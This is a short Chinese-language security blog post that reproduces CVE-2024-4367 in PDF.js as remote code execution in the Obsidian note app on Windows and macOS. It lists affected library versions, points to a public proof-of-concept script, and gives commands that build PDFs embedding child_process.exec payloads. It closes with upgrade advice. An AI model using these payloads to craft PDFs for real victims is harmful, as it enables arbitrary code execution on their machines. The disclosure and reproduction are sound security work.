Electron 应用 PDF.js RCE 之 Obsidian

前言背景

近期 CVE-2024-4367 漏洞比较受大家关注，不少师傅们已经去 SRC 水了很多 PDF XSS 漏洞了，不过 PDF XSS 终究还是很鸡肋的，很难有啥大的危害：

其实在这之前，国光也曾分享过其他的 PDF XSS 水洞姿势，感兴趣的是师傅们可以看看：

水洞小姿势系列 - PDF TO XSS 构造实战

寻找目标

本次漏洞的影响范围其实挺大的：

• Mozilla PDF.js < 4.2.67
• pdfjs-dist (npm) < 4.2.67
• react-pdf (npm) < 7.7.3
• 8.0.0<= react-pdf (npm) < 8.0.2

不过想要直接触发 RCE 还需要一些特定的依赖，经过测试  Electron 应用下比较容易触发 RCE，最终国光发现技术爱好者使用比较多的笔记应用：Obsidian 是可以成功被 RCE 的，且 Windows 和 macOS 下均成功触发 RCE：

漏洞复现

本次复现使用的项目：https://github.com/LOURC0D3/CVE-2024-4367-PoC

• Windows 下 RCE PDF 生成：

python3 CVE-2024-4367.py "require('child_process').exec('calc');"        

• macOS 下 RCE PDF 生成：

python3 CVE-2024-4367.py "require('child_process').exec('open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator');"

执行效果

• Windows Obsidian RCE：

• macOS Obsidian RCE：

修复方式

目前各大知名应用都在升级了，大家及时升级最新的版本即可：

样本获取